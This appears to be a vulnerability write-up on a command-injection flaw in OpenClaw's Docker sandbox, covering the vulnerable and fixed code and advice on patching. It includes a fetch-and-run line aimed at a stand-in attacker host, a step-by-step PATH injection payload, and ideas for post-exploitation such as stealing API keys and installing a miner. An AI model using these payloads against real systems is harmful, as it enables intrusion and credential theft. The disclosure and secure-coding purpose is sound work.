OpenClaw Command Injection: When the PATH Leads to RCE

We live in a world where we want our AI assistants to do everything for us: write code, deploy apps, and maybe even fix our terrible infrastructure. OpenClaw (formerly Clawdbot) is one of those eager digital butlers, designed to run on your own hardware and execute tasks in a "sandboxed" environment. The idea is sound: wrap the dangerous stuff in Docker so if the AI goes rogue (or simply hallucinates rm -rf /), your host machine survives.

However, building a sandbox is like building a prison; if you leave the guard tower unmanned, the inmates run the asylum. In OpenClaw's case, the mechanism used to construct the execution environment for these Docker containers had a gaping hole. It trusted the user to define environment variables without considering that in the world of shell scripting, a string isn't always just a string—sometimes, it's a command waiting to happen.

This vulnerability isn't some complex heap overflow requiring precise memory alignment. It's a classic logic error: taking untrusted input and pasting it directly into a shell command. It’s the software equivalent of signing a blank check and handing it to a stranger.

The vulnerability lies deep within src/agents/bash-tools.shared.ts, in a function specifically tasked with building arguments for docker exec. The goal was simple: allow the user (or the agent) to specify a custom PATH variable so the container could find specific tools. Seems harmless, right?

The developers made a fatal mistake: they constructed the shell command using JavaScript string interpolation. They took the user-supplied PATH and dropped it directly into a string that would be passed to sh -lc.

Here is the logic: existing shell syntax dictates that backticks, semicolons, and dollar signs ($) have special meaning. When you write code that says export PATH="${UserInput}:$PATH", you are praying that UserInput doesn't contain a closing quote followed by ; wget attacker.com | sh. The flaw here is a fundamental misunderstanding of the boundary between data (the path string) and code (the shell command). By blurring this line, OpenClaw allowed data to become code.

Let's look at the crime scene. The function buildDockerExecArgs is responsible for setting up the container command. Prior to version 2026.1.29, it looked something like this:

// The Vulnerable Code
const pathExport = params.env.PATH 
  ? `export PATH="${params.env.PATH}:$PATH"; ` // <--- HERE BE DRAGONS
  : "";
 
// Constructing the final command
args.push(params.containerName, "sh", "-lc", `${pathExport}${params.command}`);

Do you see the issue? The params.env.PATH variable is inserted directly into the template literal. If I set PATH to $(id), the resulting string passed to sh -lc becomes:

export PATH="$(id):$PATH"; [original_command]

The shell parses this, sees the command substitution $(id), executes id, and places the result into the PATH string. But if I use a semicolon, I can terminate the export command entirely and start a new one.

The fix, implemented in commit 771f23d36b95ec2204cc9a0054045f5d8439ea75, changes this approach entirely. Instead of pasting the string into the command, the developers switched to using Docker's native environment injection:

// The Fixed Code
if (hasCustomPath) {
  // Pass the dirty data via Docker flag, keeping it out of the shell string
  args.push("-e", `CLAWDBOT_PREPEND_PATH=${params.env.PATH}`);
}
 
const pathExport = hasCustomPath
  ? 'export PATH="${CLAWDBOT_PREPEND_PATH}:$PATH"; unset CLAWDBOT_PREPEND_PATH; '
  : "";

Notice the difference? The malicious string is now trapped inside an environment variable CLAWDBOT_PREPEND_PATH passed via the Docker API. The shell command inside the container references ${CLAWDBOT_PREPEND_PATH} literally. The shell expands the variable after parsing the command structure, treating the content as data, not executable syntax.

Exploiting this is trivially easy for anyone with authenticated access to the agent interface. We don't need buffer overflows; we just need a semicolon.

Step 1: The Setup We need to trigger a function that utilizes the Docker sandbox. We intercept the request or use the API to modify the environment variables sent to the agent.

Step 2: The Payload We set our PATH variable to something spicy. A simple proof of concept would be:

/usr/bin:"; touch /tmp/pwned; #

Step 3: Execution The vulnerable JavaScript constructs the following command:

sh -lc "export PATH=\"/usr/bin:"; touch /tmp/pwned; #:$PATH\"; [original_command]"

Step 4: The Result The shell sees:

1. export PATH="/usr/bin: (Valid command, though incomplete path)
2. ; (End of command)
3. touch /tmp/pwned (Our malicious payload executes)
4. # (Comments out the rest of the original command so the syntax remains valid enough to run)

Boom. We have code execution inside the container. From here, we can dump environment variables (which often contain API keys for the AI models), pivot to other containers if the network is flat, or simply install a cryptominer and heat up the server room.

The primary mitigation is obvious: Patch immediately. Update OpenClaw to version 2026.1.29 or later. The fix provided by the vendor is robust because it fundamentally changes how data is passed to the shell. By moving user input from the code channel (the command string) to the data channel (environment variables), the attack surface is neutralized.

If you cannot patch immediately, you are in a tight spot. You could try to implement a WAF rule or an input validation middleware that rejects any PATH variable containing characters like ", ;, $, or `. However, blacklisting characters is a losing game; hackers usually find a way around regexes (e.g., using octal representations or other shell tricks).

For developers reading this: Take this as a lesson. Never, ever interpolate user input into a shell string. If you must run shell commands, use execFile (which doesn't spawn a shell) or pass arguments as an array. If you absolutely must use a shell, pass untrusted data via environment variables, not as part of the command string.